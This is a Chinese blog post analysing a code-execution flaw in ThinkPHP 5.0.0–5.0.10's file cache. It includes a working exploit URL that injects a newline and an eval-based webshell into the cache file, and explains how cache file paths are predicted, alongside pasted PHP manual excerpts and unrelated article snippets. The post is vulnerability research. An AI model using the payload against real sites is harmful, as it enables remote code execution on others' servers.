ThinkPHP5漏洞分析之代码执行

漏洞概要

本次漏洞存在于 ThinkPHP 的缓存类中。该类会将缓存数据通过序列化的方式,直接存储在 .php 文件中,攻击者通过精心构造的 payload ,即可将 webshell 写入缓存文件。缓存文件的名字和目录均可预测出来,一旦缓存目录可访问或结合任意文件包含漏洞,即可触发 远程代码执行漏洞 。漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.10

漏洞环境

ThinkPHP5-5.0.10

application/index/controller/Index.php 文件代码设置如下:

<?php
namespace app\index\controller;
use think\Cache;
class Index
{public function index(){Cache::set("name",input("get.username"));return 'Cache success';}
}

显示Cache success,没看懂

192.168.10.128/tp5010/public/index.php?username=mochazz123%0d%0a@eval($_GET[_]);//

即可将 webshell 写入缓存文件。

可以看到缓存文件已经成功写入

漏洞分析

我们跟进 Cache 类的 set 方法,发现其先通过单例模式 init 方法,创建了一个类实例,该类由 cache 的配置项 type 决定,默认情况下其值为 File 。在本例中, self::$handler 即为 think\cache\driver\File 类实例。

thinkphp/library/think/cache/driver/ 目录下,我们可以看到 Thinkphp5 支持的几种缓存驱动类。我们接着上面的分析,程序调用 think\cache\driver\File 类的 set 方法。可以看到 data 数据没有经过任何处理,只是序列化后拼接存储在文件中,这里的 $this->options['data_compress'] 变量默认情况下为 false ,所以数据不会经过 gzcompress 函数处理。虽然在序列化数据前面拼接了单行注释符 // ,但是我们可以通过注入换行符绕过该限制。

现在我们就来看看缓存文件的名字是如何生成的。从上一张图片 第142行 ,我们可以看到文件名是通过调用 getCacheKey 方法获得的,我们跟进该方法。可以看到缓存文件的子目录和文件名均和缓存类设置的键有关(如本例中缓存类设置的键为 name )。程序先获得键名的 md5 值,然后将该 md5 值的前 2 个字符作为缓存子目录,后 30 字符作为缓存文件名。如果应用程序还设置了前缀 $this->options['prefix'] ,那么缓存文件还将多一个上级目录。  

data:"s"表示字符串;20表示长度,

php 序列化的字母标识_php中 序列化字符串以o开头跟以c开头有什么区别-CSDN博客

serialize

(PHP 4, PHP 5, PHP 7, PHP 8)

serialize — 生成值的可存储表示

说明

serialize(mixed $value): string

生成值的可存储表示。

这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。

想要将已序列化的字符串变回 PHP 的值,可使用 unserialize()。

参数

value

要序列化的值。serialize() 处理所有的类型,除了 resource 类型和一些 object(见下面的注释)。serialize() 甚至可以序列化包含对自身引用的数组。数组/对象内的循环引用也会被存储。其它任何引用都会丢失。

序列化对象时,PHP 将尝试在序列化之前调用成员函数 __serialize() 或 __sleep()。这是为了允许对象在序列化之前进行最后一分钟的清理等等。同样,当使用 unserialize() 恢复对象时,会调用 __unserialize() 或 __wakeup() 成员函数。

注意:

对象的 private 成员会在名前添加类名;protected 成员会在名前添加“*”;这些前置值在两边都有 null 字节。

返回值

返回字符串,包含 value 的字节流表示,可以存储在任何地方。

注意这可能是包含 null 字节的二进制字符串,需要按原样存储和处理。例如,serialize() 的输出通常应该存储在数据库中 的 BLOB 字段,而不是 CHAR 或 TEXT 字段。

示例

<?php
// $sssion_data 是多维数组,包含当前用户的
// 会话信息。可以在请求结束时使用 serialize()
// 将其存储在数据库中。
$conn = odbc_connect("webdb", "php", "chicken");
$stmt = odbc_prepare($conn,
"UPDATE sessions SET data = ? WHERE id = ?");
$sqldata = array (serialize($session_data), $_SERVER['PHP_AUTH_USER']);
if (!odbc_execute($stmt, $sqldata)) {
$stmt = odbc_prepare($conn,
"INSERT INTO sessions (id, data) VALUES(?, ?)");
if (!odbc_execute($stmt, array_reverse($sqldata))) {
/* Something went wrong.. */
}
}
?>

注释

注意:

注意许多内置 PHP 对象不能序列化。然而,要么实现 Serializable 接口,要么实现 __serialize()/__unserialize() 或 __sleep()/__wakeup() 魔术方法的则是可以的。如果内部类不满足这些其中任意一个,则就不能可靠的进行序列化。

上述规则有一些历史例外,一些内部对象可以在不实现接口或公开方法的情况下,使其序列化。

 %0使用0来填充12位,

d参数视为整数并以(有符号)十进制数字呈现。

sprintf

PHP: sprintf - Manual

(PHP 4, PHP 5, PHP 7, PHP 8)

sprintf — 返回格式化字符串

说明

sprintf(string $format, mixed ...$values): string

返回一个根据格式化字符串 format 生成的字符串。

示例  参数替换

支持按顺序用参数替换格式字符串里的占位符。

<?php
$num = 5;
$location = 'tree';

$format = 'There are %d monkeys in the %s';
echo sprintf($format, $num, $location);
?>

以上示例会输出:

There are 5 monkeys in the tree

假设,我们想把它国际化,在一个单独的文件中创建格式字符串,我们将它重写为:

<?php
$format = 'The %s contains %d monkeys';
echo sprintf($format, $num, $location);
?>

我们现在有一个问题。 格式字符串中占位符的顺序与代码中参数的顺序不匹配。 我们希望保持代码原样,并在格式字符串中简单地指出占位符引用的参数。 我们可以这样写格式化字符串:

<?php
$format = 'The %2$s contains %1$d monkeys';
echo sprintf($format, $num, $location);
?>

另外一个好处是占位符可以重复使用,而无需在代码中添加更多参数。

<?php
$format = 'The %2$s contains %1$d monkeys.
That\'s a nice %2$s full of %1$d monkeys.';
echo sprintf($format, $num, $location);
?>

file_put_contents

(PHP 5, PHP 7, PHP 8)

file_put_contents — 将数据写入文件

说明

file_put_contents(
    string $filename,
    mixed $data,
    int $flags = 0,
    ?resource $context = null
): int|false

和依次调用 fopen(),fwrite() 以及 fclose() 功能一样。

如果 filename 不存在,将会创建文件。反之,存在的文件将会重写,除非设置 FILE_APPEND flag。

参数

filename

要被写入数据的文件名。

data

要写入的数据。类型可以是 string,array 或者是 stream 资源(如上面所说的那样)。

如果 data 指定为 stream 资源,这里 stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 stream_copy_to_stream() 函数。

参数 data 可以是数组(但不能为多维数组),这就相当于 file_put_contents($filename, join('', $array))

flags

flags 的值可以是 以下 flag 使用 OR (|) 运算符进行的组合。

Available flags
Flag描述
FILE_USE_INCLUDE_PATH在 include 目录里搜索 filename。 更多信息可参见 include_path。
FILE_APPEND如果文件 filename 已经存在,追加数据而不是覆盖。
LOCK_EX在写入时获取文件独占锁。换句话说,在调用 fopen() 和 fwrite() 中间发生了 flock() 调用。这与调用带模式“x”的 fopen() 不同。

context

一个 context 资源。

返回值

该函数将返回写入到文件内数据的字节数,失败时返回false

警告

此函数可能返回布尔值 false,但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

示例

<?php
$file = 'people.txt';
// 打开文件获取已经存在的内容
$current = file_get_contents($file);
// 追加新成员到文件
$current .= "John Smith\n";
// 将内容写回文件
file_put_contents($file, $current);
?>

至此,我们已将本次漏洞分析完毕,接下来还想说说关于该漏洞的一些细节。首先,这个漏洞要想利用成功,我们得知道缓存类所设置的键名,这样才能找到 webshell 路径;其次如果按照官方说明开发程序, webshell 最终会被写到 runtime 目录下,而官方推荐 public 作为 web 根目录,所以即便我们写入了 shell ,也无法直接访问到;最后如果程序有设置 $this->options['prefix'] 的话,在没有源码的情况下,我们还是无法获得 webshell 的准确路径

解释:

?username=mochazz123%0d%0a@eval($_GET[_]);//

这里的%0d%0a十六进制代表" \r \n "换行符, 而<?php\n//会将我们的内容都给注释掉,为了能跳出注释,这里使用换行,而我们输入最后的注释是要注释掉后边产生要闭合的' "; ' 

漏洞修复

官方的修复方法是:将数据拼接在 php 标签之外,并在 php 标签中拼接 exit() 函数。

现在明白刚开始提示的Cache success了。。。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/401328.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python自动化笔记:os模块和异常处理

目录 一、os模块1.1、常用方法1.2、其他方法&#xff08;了解即可&#xff09; 二、异常处理 try except2.1、语法格式1&#xff1a;2.2、语法格式2&#xff1a;指定异常类别&#xff0c;捕获异常2.3、语法格式3&#xff1a;try-finally 语句无论是否发生异常都将执行最后的代码…

SQL每日一练-0814

今日SQL题难度&#xff1a;&#x1f31f;☆☆☆☆☆☆☆☆☆ 1、题目要求 找出每个部门中薪资最高的员工显示部门ID、部门名称、员工ID、员工姓名以及对应的薪资 2、表和虚拟数据 现有两个表&#xff1a;Employees 和 Departments&#xff0c;记录了员工和部门信息。…

【机器学习】ImageNet的基本概念以及如何使用ImageNet数据集

引言 ImageNet是一个大型的图像数据库&#xff0c;它根据WordNet的层级结构&#xff08;目前仅限于名词&#xff09;组织&#xff0c;其中每个层级节点都由成百上千张图像来描绘。这个项目对计算机视觉和深度学习研究的发展起到了重要作用 文章目录 引言一、ImageNet的基本概念…

一次sql请求,返回分页数据和总条数

日常搬砖&#xff0c;总少不了需要获取分页数据和总行数。 一直以来的实践是编码两次sql请求&#xff0c;分别拉分页数据和totalCount。 最近我在思考&#xff1a; 常规实践为什么不是 在一次sql请求中中执行多次sql查询或多次更新&#xff0c;显而易见的优势&#xff1a; ① 能…

Halcon 算子汇总

gen_tuple_const(1000,1.5) 生成一个长度为1000&#xff0c;里面每一个数组元素都为1.5的数组 gen_tuple_const(100,chr(ord(a) 1)) 生成一个长度为100&#xff0c;里面每一个数组元素都为b的数组 ord函数是库函数&#xff0c;用于获取字符的ASCII值 chr(ord(a) 1) 结…

8.13-LVS的nat模式+DR模式

LVS 一、nat模式 1.角色 主机名ip地址功能web01192.168.2.101rsweb02192.168.2.102realserveenat内网:192.168.2.103 外网:192.168.2.120directorserver,ntpdns192.168.2.105dns 2..web服务器 [rootweb01 ~]# yum -y install nginx ​ [rootweb01 ~]# echo "web01&qu…

【14】二叉树的Morris等

目录 一.树形dp套路 二.派对的最大快乐值 三.Morris遍历 morris先序遍历 morris中序遍历 moris后序遍历 判断是不是搜索二叉树 四.额外习题 一.树形dp套路 情况1&#xff1a;最大距离&#xff0c;节点X不参与。 > 左树最大距离 or 右树最大距离 情况2&#xff1a;最…

html编写贪吃蛇页面小游戏(可以玩)

<!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>贪吃蛇小游戏</title><style>body {…

【软件逆向】第2课,软件逆向安全工程师之区分应用32位和64位,每天5分钟学习逆向吧!

目标学习使用StudyPE区分应用 在软件逆向中区分应用类型是关键性的一部分 &#xff0c;只有区分类型后才能选择对应工具进行后续处理。 1.打开StudyPE工具。 2.将我们需要逆向的软件&#xff0c;拖拽到StudyPE中&#xff0c;查看应用信息。 以上用一款视觉AI软件举例&#…

Java设计模式-原型模式-一次性理解透

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 1. 前言2. 原型模式的主要角色2.1 原型接口或抽象类2.2 具体原型类2.3 客户端2.4 克隆方法 3. 原型模式使用场景3.1 创建对象是昂贵的3.2 对象的变化3.3 动态配置3.…

【STM32】DMA数据转运(存储器到存储器)

本篇博客重点在于标准库函数的理解与使用&#xff0c;搭建一个框架便于快速开发 目录 DMA简介 DMA时钟使能 DMA初始化 转运起始和终止的地址 转运方向 数据宽度 传输次数 转运触发方式 转运模式 通道优先级 DMA初始化框架 选择开启DMA通道 更改转运次数 DMA应用…

【第二节】80x86汇编-寄存器和标志位

目录 前言 一、汇编相关概念 1.1 数据表示与类型 1.2 汇编语言的构成 1.3 存储器及指令、数据 1.4 存储单元 1.5 CPU对存储器的读写操作 1.6 CPU读写内存单元的过程 1.7 intel CPU发展 1.8 8086 内部结构 二、寄存器 2.1 寄存器概览 2.2 32位寄存器 2.3 16位寄存器…

三维建模软件:地理信息与遥感领域的智慧构建者

在地理信息与遥感技术的广阔舞台中&#xff0c;建模软件如同一位卓越的建筑师&#xff0c;以数据为砖瓦&#xff0c;智慧为水泥&#xff0c;构建出一个又一个又一个逼真、动态的虚拟世界。本文将深入探究其技术核心、应用实例、未来趋势&#xff0c;揭示建模软件如何在地理信息…

《爱情,到此为止》票房大卖 贾斯汀巴尔多尼与布莱克莱弗利的矛盾升级 是真的还是炒作

布蕾克莱弗利&#xff0c;贾斯汀巴尔多尼 布莱克莱弗利凭借电影《我们的末日》在周末取得了票房成功&#xff0c;首映票房收入达 5000 万美元。在电影院困难时期&#xff0c;这是一个了不起的成就&#xff0c;但没有人谈论这一胜利——粉丝们对她与导演兼联合主演贾斯汀巴尔多…

排序(基数,堆,归并)

基数排序 定义0-9十个桶&#xff0c;先排序个数&#xff0c;在排序十位&#xff0c;依次向下&#xff08;桶就是二维数组&#xff09; 按照个位先排一次 个位已经有序了&#xff0c;桶内遵循先进先出 没有十位放到0里 取出 百位 这样排序就完成了。放进取出几次&#xff0c;取…

Flink Checkpoint expired before completing解决方法

在Flink消费Kafka日志的时候出现了这样的一则报错&#xff0c; JobManager报错如下&#xff1a; 2024-03-07 15:21:12,500 [Checkpoint Timer] WARN org.apache.flink.runtime.checkpoint.CheckpointFailureManager [] - Failed to trigger or complete checkpoint 181 for …

Python酷库之旅-第三方库Pandas(082)

目录 一、用法精讲 341、pandas.Series.str.startswith方法 341-1、语法 341-2、参数 341-3、功能 341-4、返回值 341-5、说明 341-6、用法 341-6-1、数据准备 341-6-2、代码示例 341-6-3、结果输出 342、pandas.Series.str.strip方法 342-1、语法 342-2、参数 …

bug的常见排查和分析思路以及相关的原因分类

作为开发人员&#xff0c;经常会收到来自用户和QA&#xff0c;领导反馈的各种问题。 为了快速问题&#xff0c;我们有时需要站在更高的角度&#xff0c;更全面的看待问题。才能更快锁定问题。 具体的bug还需要结合企业实际业务情况&#xff0c;相关的框架&#xff0c;依赖库&…

PHP项目任务系统小程序源码

&#x1f680;解锁高效新境界&#xff01;我的项目任务系统大揭秘&#x1f50d; &#x1f31f; 段落一&#xff1a;引言 - 为什么需要项目任务系统&#xff1f; Hey小伙伴们&#xff01;你是否曾为了杂乱的待办事项焦头烂额&#xff1f;&#x1f92f; 或是项目截止日逼近&…

QT、C++简单界面设计

#include "mywidget.h"MyWidget::MyWidget(QWidget *parent): QWidget(parent) {---------------------窗口设置----------------------this->setWindowTitle("南城贤子摄影工作室");//设置窗口标题this->setWindowIcon(QIcon("d:\\Pictures\\C…